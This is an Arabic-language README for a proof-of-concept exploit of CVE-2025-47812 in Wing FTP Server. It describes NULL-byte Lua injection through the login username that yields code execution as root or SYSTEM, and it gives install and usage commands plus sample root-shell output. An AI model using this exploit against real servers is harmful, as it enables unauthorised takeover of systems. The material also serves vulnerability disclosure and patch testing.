CVE-2025-47812 — Wing FTP Server <= 7.4.3 ثغرة تنفيذ كود عن بعد غير مصدق (PoC)

ثغرة تنفيذ كود عن بعد غير مصدق في Wing FTP Server <= 7.4.3. يؤدي حقن بايت NULL في المعامل username أثناء تسجيل الدخول إلى كتابة كود Lua في ملف الجلسة. عند الوصول إلى /dir.html باستخدام الكوكي الخاص بالجلسة الناتج، يتم تنفيذ الكود المحقون — بصلاحيات الجذر (root) على لينكس أو SYSTEM على ويندوز.

كيف يعمل

1. طلب POST مخصص إلى /loginok.html يحقن بايت NULL متبوعاً بكود Lua في حقل username.
2. يقوم الخادم بإنشاء ملف جلسة يحتوي على اسم المستخدم غير المنقّى (بما في ذلك حمولة Lua).
3. طلب GET إلى /dir.html مع كوكي UID المُرجَع يؤدي إلى تشغيل كود Lua المحقون.
4. يقوم السكربت بتسجيل الخروج بين الأوامر لتجنب الوصول إلى حد الجلسات المتزامنة للخادم.

المتطلبات

• Python 3
• تثبيت التبعيات:

python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests prompt_toolkit

الاستخدام

python3 exploit.py -u http://TARGET

مثال:

$ python3 exploit.py -u http://10.10.10.10
[*] Targeting http://10.10.10.10
[*] Logging in with injected payload...
[*] Triggering payload...
[+] Target is vulnerable! Command output:
uid=0(root) gid=0(root) groups=0(root)

[+] Shell opened. Type 'exit' or Ctrl+C to quit.

Shell> whoami
root

المراجع

• CVE-2025-47812
• إصدار Wing FTP Server 7.4.4 (الإصلاح)
• PoC الأصلي بواسطة 4m3rr0r

الإسناد

• الاكتشاف والاستغلال الأصلي: Sheikh Mohammad Hasan المعروف بـ 4m3rr0r
• التنظيف والتبسيط: Esteban Zárate